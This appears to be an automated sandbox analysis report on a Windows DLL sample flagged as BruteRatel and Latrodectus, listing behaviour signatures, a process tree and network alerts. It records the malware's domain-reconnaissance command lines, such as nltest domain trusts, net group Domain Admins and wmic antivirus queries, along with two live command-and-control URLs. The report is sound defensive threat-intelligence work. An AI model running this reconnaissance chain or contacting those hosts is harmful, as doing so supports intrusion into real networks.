Edit tour

Windows Analysis Report
wait.dll.dll

Overview

General Information

Sample name:	wait.dll.dll (renamed file extension from exe to dll)
Original sample name:	wait.dll.exe
Analysis ID:	1566852
MD5:	50bd4ff60c931861e46c801a60f9e916
SHA1:	13b14fb516fa726cc5fa9af17a2f93ff49449830
SHA256:	f2170f7dc2f97434ef4514ed4272dc8792177038a085f248ba33f9259720afda
Tags:	exeTA578user-k3dg3___
Infos:

Detection

BruteRatel, Latrodectus

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected BruteRatel

Yara detected Latrodectus

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Checks if browser processes are running

Contains functionality to inject threads in other processes

Contains functionality to steal Internet Explorer form passwords

Creates a thread in another existing process (thread injection)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Modifies the context of a thread in another process (thread injection)

Performs a network lookup / discovery via net view

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sets debug register (to hijack the execution of another thread)

Sigma detected: RunDLL32 Spawning Explorer

Tries to harvest and steal browser information (history, passwords, etc)

Uses ipconfig to lookup or modify the Windows network settings

Uses net.exe to modify the status of services

Uses whoami command line tool to query computer and username

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query network adapater information

Contains functionality to read device registry values (via SetupAPI)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries device information via Setup API

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the current domain controller via net

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

loaddll64.exe (PID: 3032 cmdline: loaddll64.exe "C:\Users\user\Desktop\wait.dll.dll" MD5: 763455F9DCB24DFEECC2B9D9F8D46D52)

conhost.exe (PID: 5996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4836 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\wait.dll.dll",#1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

rundll32.exe (PID: 412 cmdline: rundll32.exe "C:\Users\user\Desktop\wait.dll.dll",#1 MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 4084 cmdline: rundll32.exe C:\Users\user\Desktop\wait.dll.dll,Jump MD5: EF3179D498793BF4234F708D3BE28633)

explorer.exe (PID: 1028 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

cmd.exe (PID: 3780 cmdline: /c ipconfig /all MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 4352 cmdline: ipconfig /all MD5: 62F170FB07FDBB79CEB7147101406EB8)

cmd.exe (PID: 4372 cmdline: /c systeminfo MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 5040 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

WmiPrvSE.exe (PID: 3848 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 6332 cmdline: /c nltest /domain_trusts MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nltest.exe (PID: 2696 cmdline: nltest /domain_trusts MD5: 70E221CE763EA128DBA484B2E4903DE1)

cmd.exe (PID: 3424 cmdline: /c nltest /domain_trusts /all_trusts MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nltest.exe (PID: 4284 cmdline: nltest /domain_trusts /all_trusts MD5: 70E221CE763EA128DBA484B2E4903DE1)

cmd.exe (PID: 5012 cmdline: /c net view /all /domain MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 2684 cmdline: net view /all /domain MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

cmd.exe (PID: 1216 cmdline: /c net view /all MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 1896 cmdline: net view /all MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

cmd.exe (PID: 4332 cmdline: /c net group "Domain Admins" /domain MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 5620 cmdline: net group "Domain Admins" /domain MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 6508 cmdline: C:\Windows\system32\net1 group "Domain Admins" /domain MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

WMIC.exe (PID: 4424 cmdline: /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 7056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2860 cmdline: /c net config workstation MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 5264 cmdline: net config workstation MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 2464 cmdline: C:\Windows\system32\net1 config workstation MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

cmd.exe (PID: 1480 cmdline: /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 5756 cmdline: wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

findstr.exe (PID: 4464 cmdline: findstr /V /B /C:displayName MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

cmd.exe (PID: 3252 cmdline: /c whoami /groups MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

whoami.exe (PID: 1880 cmdline: whoami /groups MD5: A4A6924F3EAF97981323703D38FD99C4)

rundll32.exe (PID: 6564 cmdline: rundll32.exe "C:\Users\user\Desktop\wait.dll.dll",Jump MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Brute Ratel C4, BruteRatel	Brute Ratel C4 (BRC4) is a commercial framework for red-teaming and adversarial attack simulation, which made its first appearance in December 2020. It was specifically designed to evade detection by endpoint detection and response (EDR) and antivirus (AV) capabilities. BRC4 allows operators to deploy a backdoor agent known as Badger (aka BOLDBADGER) within a target environment.This agent enables arbitrary command execution, facilitating lateral movement, privilege escalation, and the establishment of additional persistence avenues. The Badger backdoor agent can communicate with a remote server via DNS over HTTPS, HTTP, HTTPS, SMB, and TCP, using custom encrypted channels. It supports a variety of backdoor commands including shell command execution, file transfers, file execution, and credential harvesting. Additionally, the Badger agent can perform tasks such as port scanning, screenshot capturing, and keystroke logging. Notably, in September 2022, a cracked version of Brute Ratel C4 was leaked in the cybercriminal underground, leading to its use by threat actors.	No Attribution	https://0xdarkvortex.dev/hiding-in-plainsight/ https://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/ https://andreafortuna.org/2023/02/23/how-to-detect-brute-ratel-activities https://blog.krakz.fr/articles/latrodectus/ https://blog.reveng.ai/latrodectus-distribution-via-brc4/	https://malpedia.caad.fkie.fraunhofer.de/details/win.brute_ratel_c4

Name	Description	Attribution	Blogpost URLs	Link
Latrodectus, Latrodectus	First discovered in October 2023, BLACKWIDOW is a backdoor written in C that communicates over HTTP using RC4 encrypted requests. The malware has the capability to execute discovery commands, query information about the victim's machine, update itself, as well as download and execute an EXE, DLL, or shellcode. The malware is believed to have been developed by LUNAR SPIDER, the creators of IcedID (aka BokBot) Malware.	No Attribution	https://0x0d4y.blog/case-study-analyzing-and-implementing-string-decryption-algorithms-latrodectus/ https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ https://any.run/malware-trends/latrodectus https://blog.krakz.fr/articles/latrodectus/ https://blog.reveng.ai/latrodectus-distribution-via-brc4/	https://malpedia.caad.fkie.fraunhofer.de/details/win.latrodectus

Malware Configuration

Threatname: Latrodectus

{"C2 url": ["https://reateberam.com/test/", "https://dogirafer.com/test/"], "Group Name": "Lambda", "Campaign ID": 3306744842}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2319042957.000001CEB022C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000003.00000002.4537635408.000001CEB01FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000006.00000002.4537513322.00000233A000C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000004.00000002.4538291850.0000027619ADC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000004.00000003.2421944396.0000027619B0B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000008.00000002.4549377026.000000000977A000.00000004.00000010.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000004.00000003.2421877879.0000027619B0B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000006.00000003.2516556491.00000233A003B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000006.00000003.2513239547.00000233A003B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000003.00000003.2319103261.000001CEB022C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
Process Memory Space: rundll32.exe PID: 4084	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
Process Memory Space: rundll32.exe PID: 412	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
Process Memory Space: rundll32.exe PID: 6564	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
Process Memory Space: explorer.exe PID: 1028	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
decrypted.memstr	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
Click to see the 10 entries

Sigma Signatures

System Summary

Sigma detected: RunDLL32 Spawning Explorer

Source: Process started

Author: elhoim, CD_ROM_: Data: Command: C:\Windows\Explorer.EXE, CommandLine: C:\Windows\Explorer.EXE, CommandLine|base64offset|contains: , Image: C:\Windows\explorer.exe, NewProcessName: C:\Windows\explorer.exe, OriginalFileName: C:\Windows\explorer.exe, ParentCommandLine: rundll32.exe C:\Users\user\Desktop\wait.dll.dll,Jump, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 4084, ParentProcessName: rundll32.exe, ProcessCommandLine: C:\Windows\Explorer.EXE, ProcessId: 1028, ProcessName: explorer.exe

Sigma detected: Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), omkar72, @svch0st, Nasreddine Bencherchali (Nextron Systems): Data: Command: net group "Domain Admins" /domain, CommandLine: net group "Domain Admins" /domain, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: /c net group "Domain Admins" /domain, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4332, ParentProcessName: cmd.exe, ProcessCommandLine: net group "Domain Admins" /domain, ProcessId: 5620, ProcessName: net.exe

Sigma detected: Local Accounts Discovery

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: whoami /groups, CommandLine: whoami /groups, CommandLine|base64offset|contains: , Image: C:\Windows\System32\whoami.exe, NewProcessName: C:\Windows\System32\whoami.exe, OriginalFileName: C:\Windows\System32\whoami.exe, ParentCommandLine: /c whoami /groups, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3252, ParentProcessName: cmd.exe, ProcessCommandLine: whoami /groups, ProcessId: 1880, ProcessName: whoami.exe

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net view /all /domain, CommandLine: net view /all /domain, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: /c net view /all /domain, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5012, ParentProcessName: cmd.exe, ProcessCommandLine: net view /all /domain, ProcessId: 2684, ProcessName: net.exe

Sigma detected: Share And Session Enumeration Using Net.EXE

Source: Process started

Author: Endgame, JHasenbusch (ported for oscd.community): Data: Command: net view /all /domain, CommandLine: net view /all /domain, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: /c net view /all /domain, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5012, ParentProcessName: cmd.exe, ProcessCommandLine: net view /all /domain, ProcessId: 2684, ProcessName: net.exe

Sigma detected: Suspicious Network Command

Source: Process started

Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: /c ipconfig /all, CommandLine: /c ipconfig /all, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 1028, ParentProcessName: explorer.exe, ProcessCommandLine: /c ipconfig /all, ProcessId: 3780, ProcessName: cmd.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T18:44:44.527662+0100	2028371	3	Unknown Traffic	192.168.2.5	49907	172.67.217.190	443	TCP
2024-12-02T18:44:47.826069+0100	2028371	3	Unknown Traffic	192.168.2.5	49916	172.67.217.190	443	TCP
2024-12-02T18:44:50.122592+0100	2028371	3	Unknown Traffic	192.168.2.5	49922	172.67.217.190	443	TCP
2024-12-02T18:44:52.316275+0100	2028371	3	Unknown Traffic	192.168.2.5	49928	172.67.217.190	443	TCP
2024-12-02T18:44:54.395713+0100	2028371	3	Unknown Traffic	192.168.2.5	49934	172.67.217.190	443	TCP
2024-12-02T18:44:57.622228+0100	2028371	3	Unknown Traffic	192.168.2.5	49941	172.67.217.190	443	TCP
2024-12-02T18:45:00.747774+0100	2028371	3	Unknown Traffic	192.168.2.5	49950	172.67.217.190	443	TCP
2024-12-02T18:45:06.326721+0100	2028371	3	Unknown Traffic	192.168.2.5	49962	172.67.217.190	443	TCP
2024-12-02T18:45:08.104067+0100	2028371	3	Unknown Traffic	192.168.2.5	49968	172.67.217.190	443	TCP
2024-12-02T18:45:09.730001+0100	2028371	3	Unknown Traffic	192.168.2.5	49972	104.21.68.89	443	TCP
2024-12-02T18:45:13.692035+0100	2028371	3	Unknown Traffic	192.168.2.5	49980	104.21.68.89	443	TCP
2024-12-02T18:45:16.944086+0100	2028371	3	Unknown Traffic	192.168.2.5	49986	104.21.68.89	443	TCP
2024-12-02T18:45:20.032123+0100	2028371	3	Unknown Traffic	192.168.2.5	49995	104.21.68.89	443	TCP
2024-12-02T18:45:23.028620+0100	2028371	3	Unknown Traffic	192.168.2.5	49999	104.21.68.89	443	TCP
2024-12-02T18:45:25.999791+0100	2028371	3	Unknown Traffic	192.168.2.5	50000	104.21.68.89	443	TCP
2024-12-02T18:45:29.818885+0100	2028371	3	Unknown Traffic	192.168.2.5	50001	104.21.68.89	443	TCP
2024-12-02T18:45:32.842132+0100	2028371	3	Unknown Traffic	192.168.2.5	50002	104.21.68.89	443	TCP
2024-12-02T18:45:36.271883+0100	2028371	3	Unknown Traffic	192.168.2.5	50003	104.21.68.89	443	TCP
2024-12-02T18:45:39.471963+0100	2028371	3	Unknown Traffic	192.168.2.5	50004	104.21.68.89	443	TCP
2024-12-02T18:45:42.253111+0100	2028371	3	Unknown Traffic	192.168.2.5	50005	104.21.68.89	443	TCP
2024-12-02T18:45:43.549824+0100	2028371	3	Unknown Traffic	192.168.2.5	50006	172.67.217.190	443	TCP
2024-12-02T18:45:45.823624+0100	2028371	3	Unknown Traffic	192.168.2.5	50007	172.67.217.190	443	TCP
2024-12-02T18:45:48.023397+0100	2028371	3	Unknown Traffic	192.168.2.5	50008	172.67.217.190	443	TCP
2024-12-02T18:45:50.330478+0100	2028371	3	Unknown Traffic	192.168.2.5	50009	172.67.217.190	443	TCP
2024-12-02T18:45:52.440877+0100	2028371	3	Unknown Traffic	192.168.2.5	50010	172.67.217.190	443	TCP
2024-12-02T18:45:54.546398+0100	2028371	3	Unknown Traffic	192.168.2.5	50011	172.67.217.190	443	TCP
2024-12-02T18:45:56.708800+0100	2028371	3	Unknown Traffic	192.168.2.5	50012	172.67.217.190	443	TCP
2024-12-02T18:45:59.326069+0100	2028371	3	Unknown Traffic	192.168.2.5	50013	172.67.217.190	443	TCP
2024-12-02T18:46:01.494128+0100	2028371	3	Unknown Traffic	192.168.2.5	50014	172.67.217.190	443	TCP
2024-12-02T18:46:04.165437+0100	2028371	3	Unknown Traffic	192.168.2.5	50015	172.67.217.190	443	TCP
2024-12-02T18:46:06.370230+0100	2028371	3	Unknown Traffic	192.168.2.5	50016	172.67.217.190	443	TCP
2024-12-02T18:46:08.520945+0100	2028371	3	Unknown Traffic	192.168.2.5	50017	172.67.217.190	443	TCP
2024-12-02T18:46:10.558250+0100	2028371	3	Unknown Traffic	192.168.2.5	50018	172.67.217.190	443	TCP
2024-12-02T18:46:12.734711+0100	2028371	3	Unknown Traffic	192.168.2.5	50019	172.67.217.190	443	TCP
2024-12-02T18:46:14.887791+0100	2028371	3	Unknown Traffic	192.168.2.5	50020	172.67.217.190	443	TCP
2024-12-02T18:46:16.974777+0100	2028371	3	Unknown Traffic	192.168.2.5	50021	172.67.217.190	443	TCP
2024-12-02T18:46:19.099577+0100	2028371	3	Unknown Traffic	192.168.2.5	50022	172.67.217.190	443	TCP
2024-12-02T18:46:21.328328+0100	2028371	3	Unknown Traffic	192.168.2.5	50023	172.67.217.190	443	TCP
2024-12-02T18:46:23.410993+0100	2028371	3	Unknown Traffic	192.168.2.5	50024	172.67.217.190	443	TCP
2024-12-02T18:46:25.947534+0100	2028371	3	Unknown Traffic	192.168.2.5	50025	172.67.217.190	443	TCP
2024-12-02T18:46:28.130666+0100	2028371	3	Unknown Traffic	192.168.2.5	50026	172.67.217.190	443	TCP
2024-12-02T18:46:30.327063+0100	2028371	3	Unknown Traffic	192.168.2.5	50027	172.67.217.190	443	TCP
2024-12-02T18:46:32.134919+0100	2028371	3	Unknown Traffic	192.168.2.5	50028	172.67.217.190	443	TCP
2024-12-02T18:46:33.626933+0100	2028371	3	Unknown Traffic	192.168.2.5	50029	104.21.68.89	443	TCP
2024-12-02T18:46:36.554216+0100	2028371	3	Unknown Traffic	192.168.2.5	50030	104.21.68.89	443	TCP
2024-12-02T18:46:39.600997+0100	2028371	3	Unknown Traffic	192.168.2.5	50031	104.21.68.89	443	TCP
2024-12-02T18:46:42.597580+0100	2028371	3	Unknown Traffic	192.168.2.5	50032	104.21.68.89	443	TCP
2024-12-02T18:46:45.533585+0100	2028371	3	Unknown Traffic	192.168.2.5	50033	104.21.68.89	443	TCP
2024-12-02T18:46:48.435187+0100	2028371	3	Unknown Traffic	192.168.2.5	50034	104.21.68.89	443	TCP
2024-12-02T18:46:51.390038+0100	2028371	3	Unknown Traffic	192.168.2.5	50035	104.21.68.89	443	TCP
2024-12-02T18:46:54.473438+0100	2028371	3	Unknown Traffic	192.168.2.5	50036	104.21.68.89	443	TCP
2024-12-02T18:46:57.693588+0100	2028371	3	Unknown Traffic	192.168.2.5	50037	104.21.68.89	443	TCP
2024-12-02T18:47:00.613180+0100	2028371	3	Unknown Traffic	192.168.2.5	50038	104.21.68.89	443	TCP
2024-12-02T18:47:03.676153+0100	2028371	3	Unknown Traffic	192.168.2.5	50039	104.21.68.89	443	TCP

ET MALWARE Latrodectus Loader Related Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T18:44:44.564697+0100	2048735	1	A Network Trojan was detected	192.168.2.5	49907	172.67.217.190	443	TCP
2024-12-02T18:44:48.595493+0100	2048735	1	A Network Trojan was detected	192.168.2.5	49916	172.67.217.190	443	TCP
2024-12-02T18:44:50.916155+0100	2048735	1	A Network Trojan was detected	192.168.2.5	49922	172.67.217.190	443	TCP
2024-12-02T18:44:53.062424+0100	2048735	1	A Network Trojan was detected	192.168.2.5	49928	172.67.217.190	443	TCP
2024-12-02T18:45:07.063591+0100	2048735	1	A Network Trojan was detected	192.168.2.5	49962	172.67.217.190	443	TCP
2024-12-02T18:45:12.273213+0100	2048735	1	A Network Trojan was detected	192.168.2.5	49972	104.21.68.89	443	TCP
2024-12-02T18:45:15.320865+0100	2048735	1	A Network Trojan was detected	192.168.2.5	49980	104.21.68.89	443	TCP
2024-12-02T18:45:18.682230+0100	2048735	1	A Network Trojan was detected	192.168.2.5	49986	104.21.68.89	443	TCP
2024-12-02T18:45:21.710515+0100	2048735	1	A Network Trojan was detected	192.168.2.5	49995	104.21.68.89	443	TCP
2024-12-02T18:45:23.030742+0100	2048735	1	A Network Trojan was detected	192.168.2.5	49999	104.21.68.89	443	TCP
2024-12-02T18:45:27.598658+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50000	104.21.68.89	443	TCP
2024-12-02T18:45:31.442221+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50001	104.21.68.89	443	TCP
2024-12-02T18:45:34.469924+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50002	104.21.68.89	443	TCP
2024-12-02T18:45:37.896126+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50003	104.21.68.89	443	TCP
2024-12-02T18:45:41.079743+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50004	104.21.68.89	443	TCP
2024-12-02T18:45:44.395556+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50006	172.67.217.190	443	TCP
2024-12-02T18:45:46.753159+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50007	172.67.217.190	443	TCP
2024-12-02T18:45:48.761904+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50008	172.67.217.190	443	TCP
2024-12-02T18:45:51.126064+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50009	172.67.217.190	443	TCP
2024-12-02T18:45:53.206186+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50010	172.67.217.190	443	TCP
2024-12-02T18:45:55.328247+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50011	172.67.217.190	443	TCP
2024-12-02T18:45:57.918742+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50012	172.67.217.190	443	TCP
2024-12-02T18:46:00.102210+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50013	172.67.217.190	443	TCP
2024-12-02T18:46:02.173598+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50014	172.67.217.190	443	TCP
2024-12-02T18:46:04.861845+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50015	172.67.217.190	443	TCP
2024-12-02T18:46:07.192105+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50016	172.67.217.190	443	TCP
2024-12-02T18:46:09.276616+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50017	172.67.217.190	443	TCP
2024-12-02T18:46:11.316318+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50018	172.67.217.190	443	TCP
2024-12-02T18:46:13.425645+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50019	172.67.217.190	443	TCP
2024-12-02T18:46:15.589493+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50020	172.67.217.190	443	TCP
2024-12-02T18:46:17.727919+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50021	172.67.217.190	443	TCP
2024-12-02T18:46:19.944752+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50022	172.67.217.190	443	TCP
2024-12-02T18:46:22.035396+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50023	172.67.217.190	443	TCP
2024-12-02T18:46:24.186416+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50024	172.67.217.190	443	TCP
2024-12-02T18:46:26.713257+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50025	172.67.217.190	443	TCP
2024-12-02T18:46:28.812293+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50026	172.67.217.190	443	TCP
2024-12-02T18:46:31.036084+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50027	172.67.217.190	443	TCP
2024-12-02T18:46:35.226518+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50029	104.21.68.89	443	TCP
2024-12-02T18:46:38.187916+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50030	104.21.68.89	443	TCP
2024-12-02T18:46:41.249251+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50031	104.21.68.89	443	TCP
2024-12-02T18:46:44.202517+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50032	104.21.68.89	443	TCP
2024-12-02T18:46:47.148498+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50033	104.21.68.89	443	TCP
2024-12-02T18:46:50.020040+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50034	104.21.68.89	443	TCP
2024-12-02T18:46:53.129087+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50035	104.21.68.89	443	TCP
2024-12-02T18:46:56.061048+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50036	104.21.68.89	443	TCP
2024-12-02T18:46:59.093190+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50037	104.21.68.89	443	TCP
2024-12-02T18:47:02.283970+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50038	104.21.68.89	443	TCP
2024-12-02T18:47:05.405551+0100	2048735	1	A Network Trojan was detected	192.168.2.5	50039	104.21.68.89	443	TCP

ET MALWARE Zbot Generic URI/Header Struct .bin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T18:44:56.200694+0100	2018052	1	A Network Trojan was detected	192.168.2.5	49934	172.67.217.190	443	TCP
